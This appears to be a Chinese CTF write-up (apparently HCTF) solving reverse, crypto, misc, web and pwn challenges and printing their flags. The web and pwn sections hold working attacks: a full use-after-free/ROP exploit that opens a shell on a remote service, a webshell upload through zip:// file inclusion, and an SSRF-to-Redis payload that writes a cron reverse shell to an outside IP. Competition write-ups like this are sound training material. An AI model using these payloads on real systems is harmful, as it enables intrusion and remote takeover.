document.write("<br>o[2] = ",Int2String((e^(-$[22])^s[1])));
o2 = Int2String((e^(-$[22])^s[1]));
e = -$[22] - 0x352c4a9b;
t = new MersenneTwister(Math.sqrt(-e));
h.random();
a = l.random();
t.random();
y = [ 0xb3f970, 0x4b9257a, 0x46e990e ].map(function(i) { return $[_[$[40]]](i)+ +1+ -1- +1; });
//o[0] = o[0].substring(5); o[3] = o[3].substring(0, o[3].length - 1);
//delete hctf{ and } here
u = ~~~~~~~~~~~~~~~~(a * i); //if (o[0].length > 5) return false;
//a = parseInt(_[$[23]]("1", Math.max(o[0].length, o[3].length)), 3) ^ eval(_[$[31]](o[0]));
//a = parseInt("11111111111",3) ^ eval(_[$[31]](o[0]));
r = (h.random() * l.random() * t.random()) / (h.random() * l.random() * t.random());
e ^= ~r;
r = (h.random() / l.random() / t.random()) / (h.random() * l.random() * t.random());
e ^= ~~r;
//a += _[$[31]](o[3].substring(o[3].length - 2)).split("x")[1]; if (parseInt(a.split("84")[1], $.length/2) != 0x4439feb)
return false;
var num = parseInt("4439feb",16);
var ans = ""
while (num > 0){
ans = (num%25).toString(16) + ans;
num = Math.floor(num / 25);
}
document.write("<br>","a.substring(a.length - 8) = 84"+ans+"<br>o[3][:-2] =
"+_[$[23]](String.fromCharCode(parseInt(ans,16)%256),2));
//d = parseInt(a, 16) == "65531" + o[3].charCodeAt(o[3].length - 3).toString(16) + "538462015";
var str;
for (var i=20; i<80; i++){
str = eval("65531"+i+"538462015").toString(16);
if (str.substring(str.length-8)=="84"+ans){
document.write("<br>o[3][-3] = ",String.fromCharCode(parseInt(i,16)));
document.write(str.substring(0,str.length-8));
document.write("<br>o[0][1:] = ",Int2String(parseInt("11111111111",3) ^ eval(str.substring(0,str.length-4))));
o01 = Int2String(parseInt("11111111111",3) ^ eval(str.substring(0,str.length-4)));
o8 = String.fromCharCode(parseInt(i,16));
break;
}
}
i = 0xffff;
//n = (p = (f = _[$[23]](o[3].charAt(o[3].length - 4), 3)) == o[3].substring(1, 4));
//o[3]倒数第 4 位等于 o[3]第 1-3 位
g = 3;
//t = _[$[23]](o[3].charAt(3), 3) == o[3].substring(5, 8) && o[3].charCodeAt(1) * o[0].charCodeAt(0) == 0x2ef3;
//o[3]第 3 位等于 o[3]第 5-7 位 o[3][1]与[0][0]一个是 w 一个是 e
h = ((31249*g) & i).toString(16);
//i = _[$[31]](o[3].split(f).join("").substring(0, 2)).split("x")[1];
o0 = String.fromCharCode(((31249*g) & i) / 256);
o4 = String.fromCharCode(((31249*g) & i) % 256);
document.write("<br>o[3] =
",o0,_[$[23]]("e",3),o4,_[$[23]]("e",3),o8,_[$[23]](String.fromCharCode(parseInt(ans,16)%256),2));
document.write("<br>flag =
hctf{w",o01,"_",o1,"_",o2,"_",o0,_[$[23]]("e",3),o4,_[$[23]]("e",3),o8,_[$[23]](String.fromCharCode(parseInt(ans,16)
%256),2),"}");
4. Misc-你所知道的隐写就仅此而已吗
Google 到原图,进行 diff
根据提示对相减结果进行 FFT 得到 flag:
5. Misc-gogogo
游戏通过得到 flag。
6. Reverse-前年的 400 分
定位到 1090 处的字符串处理函数,解 22 元方程:
for i in range(1,25):
exec("v"+str(i)+"="+str(i)+"-3")
input = [[[
757 , v9 ],[ 691 , v13 ],[ 659 , v4 ],[ 1303 , v5 ],[ 1949 , v6 ],[ 3361 , v20 ],[ 3527 ,
v8 ],[ 4447 , v7 ],[ 5303 , v15 ],[ 5417 , v23 ],[ 5507 , v11 ],[ 6829 , v24 ],[ 7907 , v12 ],[ 8117 ,
v16 ],[ 9103 , v17 ],[ 8923 , v3 ],[ 9067 , v22 ],[ 9391 , v18 ],[ 9629 , v14 ],[ 751 , v21 ],[ 367 ,
v10 ],[ 89 , v19 ], 8702848],[[ 269 , v11 ],[ 107 , v5 ],[ 67 , v18 ],[ 1213 , v8 ],[ 769 ,
v13 ],[ 1259 , v4 ],[ 1237 , v14 ],[ 3863 , v20 ],[ 3163 , v19 ],[ 3259 , v10 ],[ 4357 ,
v23 ],[ 4229 , v7 ],[ 4447 , v21 ],[ 5501 , v15 ],[ 5569 , v22 ],[ 5323 , v12 ],[ 5503 ,
v24 ],[ 6763 , v16 ],[ 8597 , v6 ],[ 8053 , v17 ],[ 8831 , v9 ],[ 9067 , v3 ], 7434978],[[
1609 ,
v13 ],[ 1973 , v5 ],[ 2791 , v10 ],[ 2953 , v18 ],[ 4861 , v11 ],[ 4451 , v22 ],[ 6131 , v20 ],[ 6301 ,
v9 ],[ 6961 , v7 ],[ 7187 , v23 ],[ 6143 , v17 ],[ 7247 , v19 ],[ 7853 , v21 ],[ 8269 , v6 ],[ 8929 ,
v8 ],[ 7583 , v16 ],[ 8219 , v14 ],[ 8629 , v24 ],[ 9533 , v3 ],[ 8053 , v12 ],[ 911 , v15 ],[ 23 , v4 ],
11237050],[[
239 , v8 ],[ 937 , v7 ],[ 389 , v4 ],[ 1487 , v5 ],[ 1039 , v3 ],[ 3461 ,
v20 ],[ 2897 , v10 ],[ 3583 , v9 ],[ 4229 , v21 ],[ 3307 , v12 ],[ 5987 , v6 ],[ 7177 , v23 ],[ 7459 ,
v13 ],[ 6959 , v17 ],[ 8893 , v11 ],[ 7949 , v18 ],[ 7643 , v24 ],[ 8521 , v14 ],[ 9769 ,
v15 ],[ 9137 , v19 ],[ 9059 , v22 ],[ 9689 , v16 ], 10187010],[[
73 , v7 ],[ 139 , v14 ],[ 919 ,
v10 ],[ 1613 , v6 ],[ 2053 , v17 ],[ 2207 , v12 ],[ 5077 , v15 ],[ 5387 , v11 ],[ 4421 , v19 ],[ 5717 ,
v20 ],[ 6337 , v23 ],[ 6211 , v13 ],[ 6271 , v4 ],[ 8243 , v8 ],[ 7211 , v16 ],[ 7159 , v24 ],[ 8779 ,
v21 ],[ 7853 , v3 ],[ 9013 , v9 ],[ 8443 , v18 ],[ 9371 , v5 ],[ 8971 , v22 ], 10554112],[[
877 ,
v23 ],[ 797 , v9 ],[ 1613 , v5 ],[ 647 , v16 ],[ 1973 , v6 ],[ 1039 , v24 ],[ 2381 , v13 ],[ 3923 ,
v7 ],[ 3019 , v3 ],[ 3329 , v18 ],[ 4679 , v14 ],[ 5869 , v15 ],[ 6199 , v19 ],[ 7643 , v11 ],[ 7349 ,
v20 ],[ 7411 , v17 ],[ 8821 , v8 ],[ 7297 , v12 ],[ 8377 , v4 ],[ 8731 , v22 ],[ 4969 ,
v21
],[ 4969 , v10 ], 8442510],[[
271 , v7 ],[ 227 , v6 ],[ 683 , v20 ],[ 1259 , v11 ],[ 743 ,
v21 ],[ 1051 , v9 ],[ 991 , v18 ],[ 2473 , v23 ],[ 1361 , v12 ],[ 2621 , v17 ],[ 3673 , v13 ],[ 3089 ,
v3 ],[ 4679 , v15 ],[ 4519 , v24 ],[ 5701 , v10 ],[ 6079 , v22 ],[ 7159 , v5 ],[ 8161 , v8 ],[ 8311 ,
v14 ],[ 7877 , v16 ],[ 9859 , v4 ],[ 9949 , v19 ], 8293056],[[
457 , v20 ],[ 509 , v9 ],[ 2083 ,
v21 ],[ 2011 , v13 ],[ 1259 , v3 ],[ 1187 , v24 ],[ 2003 , v18 ],[ 4657 , v7 ],[ 3821 , v10 ],[ 4591 ,
v8 ],[ 4951 , v6 ],[ 4651 , v4 ],[ 4547 , v14 ],[ 4127 , v12 ],[ 4871 , v19 ],[ 5479 , v5 ],[ 4561 ,
v22 ],[ 6661 , v11 ],[ 6947 , v23 ],[ 7621 , v15 ],[ 5261 , v16
],[ 5261 , v17 ], 7391116],[[
241 ,
v21 ],[ 727 , v20 ],[ 1297 , v7 ],[ 1873 , v15 ],[ 937 , v19 ],[ 499 , v16 ],[ 2003 , v6 ],[ 2381 ,
v9 ],[ 3769 , v5 ],[ 4283 , v8 ],[ 4099 , v14 ],[ 4483 , v13 ],[ 4703 , v3 ],[ 4799 , v22 ],[ 6361 ,
v23 ],[ 7057 , v11 ],[ 5897 , v18 ],[ 5531 , v24 ],[ 7583 , v17 ],[ 8429 , v10 ],[ 9629 , v4 ],[ 9371 ,
v12 ], 8112200],[[
307 , v8 ],[ 151 , v5 ],[ 17 , v14 ],[ 19 , v22 ],[ 283 , v3 ],[ 2113 , v6 ],[ 2777 ,
v11 ],[ 853 , v24 ],[ 2411 , v20 ],[ 1543 , v16 ],[ 3559 , v23 ],[ 2897 , v21 ],[ 3851 , v9 ],[ 3529 ,
v18 ],[ 3833 , v19 ],[ 5591 , v4 ],[ 7229 , v7 ],[ 8563 , v15 ],[ 7757 , v12 ],[ 8243 , v17 ],[ 8831 ,
v13 ],[ 8963 , v10 ], 6896066],[[
4001 , v21 ],[ 479 , v12 ],[ 2083 , v6 ],[ 887 , v16 ],[ 2269 ,
v5 ],[ 2207 , v4 ],[ 2633 , v9 ],[ 3329 , v19 ],[ 3253 , v24 ],[ 5393 , v15 ],[ 4243 , v18 ],[ 5801 ,
v8 ],[ 7121 , v20 ],[ 6043 , v22 ],[ 6329 , v17 ],[ 7741 , v7 ],[ 8263 , v23 ],[ 7649 , v14 ],[ 9257 ,
v11 ],[ 9467 , v3 ],[ 349 , v10 ],[ 331 , v13 ], 8548252],[[
127 , v17 ],[ 1063 , v21 ],[ 1619 ,
v14 ],[ 2791 , v9 ],[ 3121 , v10 ],[ 2341 , v24 ],[ 4129 , v7 ],[ 4597 , v11 ],[ 5801 , v15 ],[ 4993 ,
v3 ],[ 6833 , v5 ],[ 7817 , v23 ],[ 6173 , v16 ],[ 7577 , v4 ],[ 8147 , v13 ],[ 8093 , v19 ],[ 8179 ,
v18 ],[ 9319 , v20 ],[ 9157 , v22 ],[ 8053 , v12 ],[ 661 , v6 ],[ 67 , v8 ], 9544120],[[
251 ,
v11 ],[ 887 , v23 ],[ 617 , v6 ],[ 523 , v22 ],[ 2887 , v15 ],[ 1493 , v3 ],[ 2521 , v14 ],[ 2437 ,
v16 ],[ 3301 , v10 ],[ 4457 , v20 ],[ 4219 , v9 ],[ 3203 , v12 ],[ 3907 , v19 ],[ 5557 , v7 ],[ 5653 ,
v18 ],[ 8387 , v8 ],[ 8443 , v13 ],[ 7883 , v17 ],[ 9091 , v21 ],[ 8101 , v24 ],[ 9137 , v4 ],[ 9787 ,
v5 ], 9670202],[[
1867 , v15 ],[ 683 , v22 ],[ 1187 , v16 ],[ 1801 , v14 ],[ 2251 , v4 ],[ 2347 ,
v19 ],[ 3019 , v21 ],[ 4153 , v6 ],[ 3541 , v17 ],[ 4813 , v20 ],[ 4999 , v8 ],[ 5669 , v9 ],[ 6869 ,
v23 ],[ 5527 , v18 ],[ 5051 , v24 ],[ 7949 , v11 ],[ 7019 , v12 ],[ 9067 , v5 ],[ 9343 , v10 ],[ 9467 ,
v3 ],[ 113 , v13 ],[ 557 , v7 ], 8485008],[[
281 , v23 ],[ 467 , v15 ],[ 449 , v8 ],[ 691 ,
v21 ],[ 443 , v17 ],[ 823 , v19 ],[ 2099 , v9 ],[ 1933 , v12 ],[ 2467 , v22 ],[ 3557 , v5 ],[ 4099 ,
v6 ],[ 3299 , v16 ],[ 3739 , v18 ],[ 5393 , v11 ],[ 5279 , v7 ],[ 4049 , v24 ],[ 7499 , v20 ],[ 6827 ,
v14 ],[ 7333 , v3 ],[ 8677 , v4 ],[ 8929 , v10 ],[ 9157 , v13 ], 8645980],[[
1063 , v16 ],[ 1187 ,
v12 ],[ 2551 , v19 ],[ 3187 , v22 ],[ 4943 , v11 ],[ 4651 , v13 ],[ 5651 , v7 ],[ 6199 , v23 ],[ 6359 ,
v15 ],[ 7691 , v8 ],[ 7649 , v20 ],[ 7963 , v6 ],[ 7541 , v17 ],[ 7489 , v3 ],[ 7433 , v24 ],[ 8537 ,
v10 ],[ 9011 , v14 ],[ 9769 , v5 ],[ 9187 , v18 ],[ 4001 , v21 ],[ 947 , v9 ],[ 739 , v4 ],
11454476],[[
1033 , v13 ],[ 1291 , v9 ],[ 1823 , v8 ],[ 2777 , v15 ],[ 2459 , v6 ],[ 1877 ,
v19 ],[ 3671 , v11 ],[ 2339 , v24 ],[ 5077 , v21 ],[ 6037 , v23 ],[ 4673 , v12 ],[ 5653 ,
v3 ],[ 6203 , v17 ],[ 7583 , v20 ],[ 6673 , v18 ],[ 8389 , v14 ],[ 9419 , v5 ],[ 9349 , v4 ],[ 8629 ,
v16 ],[ 9227 , v22 ],[ 2423 , v7 ],[ 2423 , v10 ], 9580734],[[
797 , v13 ],[ 1571 , v20 ],[ 1163 ,
v22 ],[ 3191 , v15 ],[ 1663 , v3 ],[ 3697 , v8 ],[ 3181 , v19 ],[ 3209 , v14 ],[ 3529 , v4 ],[ 3259 ,
v16 ],[ 4327 , v9 ],[ 4421 , v24 ],[ 5563 , v17 ],[ 5717 , v18 ],[ 6053 , v10 ],[ 6833 , v6 ],[ 7639 ,
v11 ],[ 6679 , v12 ],[ 9631 , v5 ],[ 751 , v21 ],[ 211 , v23 ],[ 17 , v7 ], 7325956],[[
41 , v7 ],[ 11 ,
v20 ],[ 1543 , v15 ],[ 1279 , v9 ],[ 2273 , v3 ],[ 2441 , v22 ],[ 4241 , v8 ],[ 4129 , v14 ],[ 4483 ,
v10 ],[ 4357 , v17 ],[ 6581 , v11 ],[ 5557 , v19 ],[ 6733 , v23 ],[ 5651 , v16 ],[ 7723 , v21 ],[ 6521 ,
v24 ],[ 7583 , v13 ],[ 8081 , v5 ],[ 6863 , v12 ],[ 9311 , v6 ],[ 9341 , v4 ],[ 9521 , v18 ],
10524420],[[
43 , v8 ],[ 241 , v4 ],[ 223 , v14 ],[ 1609 , v7 ],[ 2819 , v11 ],[ 1171 , v3 ],[ 2767 ,
v15 ],[ 3583 , v6 ],[ 3221 , v16 ],[ 4493 , v13 ],[ 3467 , v24 ],[ 3989 , v22 ],[ 6113 ,
v20 ],[ 5867 , v10 ],[ 5897 , v19 ],[ 6737 , v21 ],[ 5659 , v12 ],[ 6173 , v17 ],[ 6947 ,
v18 ],[ 9733 , v23 ],[ 9281 , v9 ],[ 9851 , v5 ], 8285986],[[
173 , v3 ],[ 83 , v24 ],[ 1723 ,
v8 ],[ 1213 , v10 ],[ 2731 , v11 ],[ 2099 , v4 ],[ 2657 , v9 ],[ 2953 , v5 ],[ 3329 , v21 ],[ 3169 ,
v17 ],[ 4987 , v7 ],[ 4637 , v14 ],[ 5003 , v18 ],[ 5407 , v16 ],[ 5843 , v22 ],[ 7243 , v6 ],[ 8017 ,
v23 ],[ 9203 , v15 ],[ 7507 , v12 ],[ 8681 , v19 ],[ 9721 , v13 ],[ 2 , v20 ], 8074995 ],[[
127 ,
v8 ],[ 419 , v21 ],[ 1613 , v13 ],[ 2927 , v7 ],[ 3343 , v15 ],[ 3559 , v20 ],[ 3109 , v4 ],[ 2617 ,
v16 ],[ 5171 , v11 ],[ 3907 , v12 ],[ 4567 , v14 ],[ 4783 , v10 ],[ 5233 , v9 ],[ 6067 , v23 ],[ 4481 ,
v24 ],[ 5119 , v3 ],[ 5387 , v17 ],[ 7993 , v6 ],[ 8369 , v5 ],[ 7829 , v19 ],[ 8713 , v18 ],[ 9931 ,
v22 ], 9064078 ]]
yuan = []
result = []
for i in range(0,len(input)):
output = [0 for k in range (0,22)]
line = input[i]
for j in range(0,22):
block = line[j]
#print block[0],block[1]
output[block[1]]=block[0]
print output
result.append(line[len(line)-1])
yuan.append(output)
for j in range(0,22):
print yuan[j]
print result[j]
yuan = np.array(yuan)
result = np.array(result)
jie = np.linalg.solve(yuan,result)
print jie
temp = [104,99,116,102,123,83,48,95,84,51,114,114,49,98,49,101,95,87,99,48,54,125]
flag = ""
for i in range(0,22):
flag += chr(temp[i])
print flag
7.Web-兵者多诡异
本地准备一个 show.php 里面写入自己的一句话,压缩为 zip 文件
然后改名为 png
上传后 发现 fp 参数是一个 包含 这里运用 zip://upload/xxx.jpg%23show
就包含到我们的 show.php 了
8.Crypto-Crypto So Interesting
t = invmod(u, phi_n)
e = pi_b(t)
生成 e,因此先求 e 模 bt 的逆元得到 t,然后 t 跟 n 用 Wiener Attack 得到 u,之后就可以得
到 phi_n,最后得到 d 解密。。。
9.Pwn-就是干
uaf 漏洞, 可以利用堆内存未初始化做 partial overwrite, 控制 rip 且绕过 pie, 后面的利用就
仁者见仁智者见智了。
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
import os, sys
import time
# switches
DEBUG = 1
LOCAL = 0
VERBOSE = 1
io = None
# modify this
def makeio():
global io
if LOCAL:
io = process('./fheap')
else:
io = remote('115.28.78.54',80)
return io
if VERBOSE: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def ra(count):
# recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
def dehex(s):
return s.replace(' ','').decode('hex')
def limu8(x):
return c_uint8(x).value
def limu16(x):
return c_uint16(x).value
def limu32(x):
return c_uint32(x).value
# define interactive functions here
def menu():
return ru('quit\n')
def create(size,con):
menu()
sl('create ')
ru('size:')
sl(str(size))
ru('str:')
sn(con)
return
def delete(index, rophelper=''):
menu()
sl('delete ')
ru('id:')
sl(str(index))
ru('?:')
if rophelper == '':
sn('yes'.ljust(0x100))
else: sn(rophelper.ljust(0x100))
return
def quit():
menu()
sl('quit ')
return
# define exploit function here
def pwn():
#if DEBUG: gdb.attach(io)
if not LOCAL:
# submit token
token = '33f7f88e95f8ed17631ed655513e2ac6GHrQhlnc'
ru('token: ')
sl(token)
pass
create(0x21, 0x20*'a'+'\x00')
create(0x21, 0x20*'a'+'\x00')
create(0x21, 0x20*'a'+'\x00')
create(0x9, 0x8*'a'+'\x00')
create(0x21, 0x20*'a'+'\x00')
# sep
create(0x421, 0x420*'a' + '\x00')
delete(0)
delete(1)
delete(2)
delete(3)
delete(5)
create(0x421, 0x420*'a' + '\x00')
#create(0x200, 0x110*'a' + p16(0x09d0) + '\x00')
payload = 0x90*'a'
payload += '~%175$p~'
payload = payload.ljust(0xa0)
payload += 8 * 'a'
#payload += p16(0x9d0)
payload += p8(0x2d)
payload += '\x00'
create(0xb0, payload)
#raw_input()
delete(2)
ru('aaaaaaaa')
addr = u64(rn(6).ljust(8, '\x00'))
pie = addr - 0xd2d
info("PIE = " + hex(pie))
delete(1)
payload = 'a'.ljust(0xa0)
payload += 8 *'a'
payload += p64(0x11dc + pie)
payload += '\x00'
create(0xb1, payload)
if LOCAL: gdb.attach(io)
pop3 = 0x00000000000011de + pie
pop4 = 0x00000000000011dc + pie
poprdi = 0x00000000000011e3 + pie
poprsi = 0x00000000000011e1 + pie
puts = 0x990 + pie
main = 0xbee + pie
rop = p64(poprdi)
rop += p64(pie + 0x202018)
rop += p64(puts)
rop += p64(main)
rophelper = "yes".ljust(8)
rophelper += rop
delete(2, rophelper)
addr = u64(rn(6).ljust(8, '\x00')) - 0x83940
info("libc = " + hex(addr))
system = 0x45390 + addr
binsh = 0x18c177 + addr
rop = p64(poprdi)
rop += p64(binsh)
rop += p64(system)
rop += p64(main)
rophelper = "yes".ljust(8)
rophelper += rop
delete(2, rophelper)
io.interactive()
return
if __name__ == '__main__':
while 1:
try:
makeio()
pwn()
except Exception, e:
print 'Retry in 10 seconds'
io.close()
if not LOCAL:
time.sleep(5)
continue
#break
break
Level3
1.Misc-48 小时如何快速精通 c++
分析 template 功能后解密得到 flag
#include <stdio.h>
constexpr char FLAG[] = "hctf{S0_Ea5y_Cpp_T3mp1at3}"; //input the flag !!!
// len = 26
template <int _, int __> struct ___Fun1___ { enum { ___ = (_ == __) }; }; // equal
template <int _, int __> struct ___fun2___ { enum { ___ = (_ ^ __) }; }; // xor
template <int __> struct ___fun3___ {enum { ___ = FLAG[__] };}; // flag[i]
template <int _, int __> struct ___fun4___ {enum{___ = _ % __}; }; // mod
template<int _, int __> struct ___fun5___ { const static int ___ = __ << _; }; // shl
template<int _, int __> struct ___fun6___ { const static int ___ = __ >> _; }; // shr
template<int _, int __> struct ___fun7___ { const static int ___ = _ & __; }; // and
template<int _, int __> struct ___fun8___ { const static int ___ = _ | __; }; // or
template <int __> struct ___fun9___ { enum { ___ = __ + ___fun9___ < __ - 1 >::___ }; }; // add from n to 0 =
(n+1)n/2
template <> struct ___fun9___<0> { enum { ___ = 0 }; }; // 0
template <int __> struct ___fun10___ { enum { ___ = ___Fun1___ < (sizeof(FLAG) - 1), __ >::___ }; }; //
(sizeof(FLAG) - 1) == n
template <int _, int __> struct ___fun11___ {enum {___ = ___Fun1___<___fun2___<___fun3___<_>::___,
0x20>::___, 93>::___};}; //flag[i] ^ 0x20 == 93, __ no use
template <int _> struct ___fun11___<_, 0> {enum { ___ = 0 };}; // 0
constexpr int ___Arr1___[] = { 88, 83, 68, 86, 75 };
template <int _> struct ___fun12___ { enum { ___ = ___Arr1___[_] }; }; // Arr1[i]
template<int _, int __> struct ___fun13___ { enum { ____ = ___fun13___ < _ - 1,
___Fun1___<___fun12___<_>::___, ___fun2___<___fun3___<_>::___, 0x30>::___>::___ >::____};}; // from n to
n-1 until: i == -1 && Arr1[i] == flag[i] ^ 0x30 then 1;
template<int _> struct ___fun13___<_, 1> {enum { ____ = ___fun13___ < _ - 1,
___Fun1___<___fun12___<_>::___, ___fun2___<___fun3___<_>::___, 0x30>::___>::___ >::____}; }; // check
from n to 0: Arr1[i] == flag[i] ^ 0x30
template<> struct ___fun13___ < -1, 1 > { enum { ____ = 1 };}; // 1
template<int _> struct ___fun13___<_, 0> {enum { ____ = 0 }; }; // check from n to 0: Arr1[i] == flag[i] ^ 0x30
template<int _, int __> struct ___fun14___ { enum { ___ = 0 }; }; // 0 no condition
template<int _> struct ___fun14___<_, 0> { enum { ___ = (___fun3___ < _ + 5 * ___fun10___<26>::___ >::___ +
_) }; }; // 0: flag[i+5]+i
template<int _> struct ___fun14___<_, 1> { enum { ___ = (___fun3___ < _ + 5 * ___fun10___<26>::___ >::___ -
_) }; }; // 1: flag[i+5]-i
template<int _> struct ___fun15___ {enum {___ = ___fun2___<___fun9___<_>::___, 106>::___}; }; // (n+1)n/2 ^
106
template<int _> struct ___fun16___ {enum {___ = ___fun2___<___fun14___<_, ___fun4___<_, 2>::___>::___,
___fun15___<_>::___>::___};}; // (FLAG[n+5]+-n) ^ (n+1)n/2 ^ 106
template<int _> struct ___fun17___ { const static int ___ = ___fun8___<___fun6___<4, _>::___, ___fun5___<4,
___fun7___<_, 0xF>::___>::___>::___; }; // n>>4 | (n&0xF)<<4 //shift 4byte and 4byte
template<int _> struct ___fun18___ { const static int ___ = ___fun2___ <
___fun17___<___fun16___<_>::___>::___, ___fun18___ < _ - 1 >::___ >::___; }; // from n to n-1 until 0:
shift( (FLAG[n+5]+-n) ^ (n+1)n/2 ^ 106 ) ^f(n-1)
template <> struct ___fun18___<0> { const static int ___ = ___fun17___<___fun16___<0>::___>::___; }; //
shift(FLAG[2*(n%2)+5]) ^ (n+1)n/2 ^ 106
constexpr int ___Arr2___[] = { 0x93, 0xd7, 0x57, 0xb5, 0xe5, 0xb0, 0xb0, 0x52, 0x2, 0x0, 0x72, 0xb5, 0xf1, 0x80,
0x7, 0x30, 0xa, 0x30, 0x44, 0xb };
template <int _> struct ___fun19___ { enum { ___ = ___Arr2___[_] }; }; //Arr2[i]
template <int _, int __> struct ___fun20___ { enum {___ = ___fun20___ < _ + 1, ___Fun1___<
___fun19___<_>::___, ___fun18___<_>::___>::___ >::___}; }; // from n to n+1 till 20: if Arr2[i] == f18(n)
template <> struct ___fun20___<20, 1> {enum {___ = 1}; }; // check from n to 20: Arr2[i] == f18(n)
template <int _> struct ___fun20___<_, 0> { enum { ___ = 0 }; };
template <int __> struct ___fun21___ {enum { ___ = ___fun11___ < 26 - __, ___fun13___<4, 1>::____ >::___ };};
// judge len==26 && flag[0:5]=="hctf{" && flag[-1]=="}"
template <> struct ___fun21___ <0> { enum { ___ = 0 }; };
struct __Start {
enum {
ret = ___fun20___<0, ___fun21___<___fun10___<26>::___>::___>::___
};
};
int main()
{
if (__Start::ret) {
printf("Yes,You got it\n");
} else {
printf("Sorry,try again\n");
}
printf("%c", 106 ^ 0x39, ___Arr2___[0] == ___fun18___<0>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[1 - 1] ^ ___Arr2___[1] >::___ ^ ((1 + 1) * 1 / 2)) + 1, ___Arr2___[1]
== ___fun18___<1>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[2 - 1] ^ ___Arr2___[2] >::___ ^ ((2 + 1) * 2 / 2)) - 2, ___Arr2___[2]
== ___fun18___<2>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[3 - 1] ^ ___Arr2___[3] >::___ ^ ((3 + 1) * 3 / 2)) + 3, ___Arr2___[3]
== ___fun18___<3>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[4 - 1] ^ ___Arr2___[4] >::___ ^ ((4 + 1) * 4 / 2)) - 4, ___Arr2___[4]
== ___fun18___<4>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[5 - 1] ^ ___Arr2___[5] >::___ ^ ((5 + 1) * 5 / 2)) + 5, ___Arr2___[5]
== ___fun18___<5>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[6 - 1] ^ ___Arr2___[6] >::___ ^ ((6 + 1) * 6 / 2)) - 6, ___Arr2___[6]
== ___fun18___<6>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[7 - 1] ^ ___Arr2___[7] >::___ ^ ((7 + 1) * 7 / 2)) + 7, ___Arr2___[7]
== ___fun18___<7>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[8 - 1] ^ ___Arr2___[8] >::___ ^ ((8 + 1) * 8 / 2)) - 8, ___Arr2___[8]
== ___fun18___<8>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[9 - 1] ^ ___Arr2___[9] >::___ ^ ((9 + 1) * 9 / 2)) + 9, ___Arr2___[9]
== ___fun18___<9>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[10 - 1] ^ ___Arr2___[10] >::___ ^ ((10 + 1) * 10 / 2)) - 10,
___Arr2___[10] == ___fun18___<10>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[11 - 1] ^ ___Arr2___[11] >::___ ^ ((11 + 1) * 11 / 2)) + 11,
___Arr2___[11] == ___fun18___<11>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[12 - 1] ^ ___Arr2___[12] >::___ ^ ((12 + 1) * 12 / 2)) - 12,
___Arr2___[12] == ___fun18___<12>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[13 - 1] ^ ___Arr2___[13] >::___ ^ ((13 + 1) * 13 / 2)) + 13,
___Arr2___[13] == ___fun18___<13>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[14 - 1] ^ ___Arr2___[14] >::___ ^ ((14 + 1) * 14 / 2)) - 14,
___Arr2___[14] == ___fun18___<14>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[15 - 1] ^ ___Arr2___[15] >::___ ^ ((15 + 1) * 15 / 2)) + 15,
___Arr2___[15] == ___fun18___<15>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[16 - 1] ^ ___Arr2___[16] >::___ ^ ((16 + 1) * 16 / 2)) - 16,
___Arr2___[16] == ___fun18___<16>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[17 - 1] ^ ___Arr2___[17] >::___ ^ ((17 + 1) * 17 / 2)) + 17,
___Arr2___[17] == ___fun18___<17>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[18 - 1] ^ ___Arr2___[18] >::___ ^ ((18 + 1) * 18 / 2)) - 18,
___Arr2___[18] == ___fun18___<18>::___);
printf("%c", (106 ^ ___fun17___ < ___Arr2___[19 - 1] ^ ___Arr2___[19] >::___ ^ ((19 + 1) * 19 / 2)) + 19,
___Arr2___[19] == ___fun18___<19>::___);
return 0;
}
2.Web-香港记者还要快
这里在 README.md 发现一些提示
可以分析逻辑为
注册: 先 insett 一个用户入库,只是权限为 1 然后是一个 update 操作降低权限
登陆: select 查询角色 并写入 session 中,跳转为 index.php,如果权限为 1 就打出 flag
所以逻辑就是 只要我们在 update 操作前登陆成功,我们就可以获取 flag 了
所以 先抓取登陆的数据包(用户未注册),然后我们就可以放入 burp 爆破中,开高点的线
程登陆,然后我们注册那个登陆的用户,用户已注册就会被登陆的 select 查询到,还没有被
降低权限,也就获取 flag 了
Ssrf-1
在 vps 建立一个中转的页面
Post 提交
Link=link=http://www.cheery.win/1.php?url=http://127.0.0.1
得到一个 base64,解开就是第一个的 flag
Ssrf-2
接着上道题,扫描发现 192.168.0.10 6379 开了一个 redis
Payload:
link=http://www.cheery.win/1.php?url=http://192.168.0.10%25250d%25250a%252a3%252
50d%25250a%2525243%25250d%25250aset%25250d%25250a%2525241%25250d%25250a1%25250d%
25250a%25252462%25250d%25250a%25250a%252a%25252F1%252520%252a%252520%252a%252520
%252a%252520%252a%252520%25252Fbin%25252Fbash%252520-i%252520%25253E%252526%2525
20%25252Fdev%25252Ftcp%25252F120.27.104.15%25252F8088%2525200%25253E%2525261%252
50a%25250d%25250aconfig%252520set%252520dir%252520%25252Fvar%25252Fspool%25252Fcron%
25252F%25250d%25250aconfig%252520set%252520dbfilename%252520root%25250d%25250asave%2
5250d%25250a%253A6379%252f
vps 上监听反弹就可以了
3. Reverse-点我点我,我是最正常的逆向题
hctf{The_Basic_0f_RE_0A0d}
SMC
和 defcon qual 的 step 一个套路
直接符号执行+求解器求解
step1
xorkey 125
step2
The_
step3
Basic_
step4
0f_RE_
step5
0A0d
4.Crypto So Cool
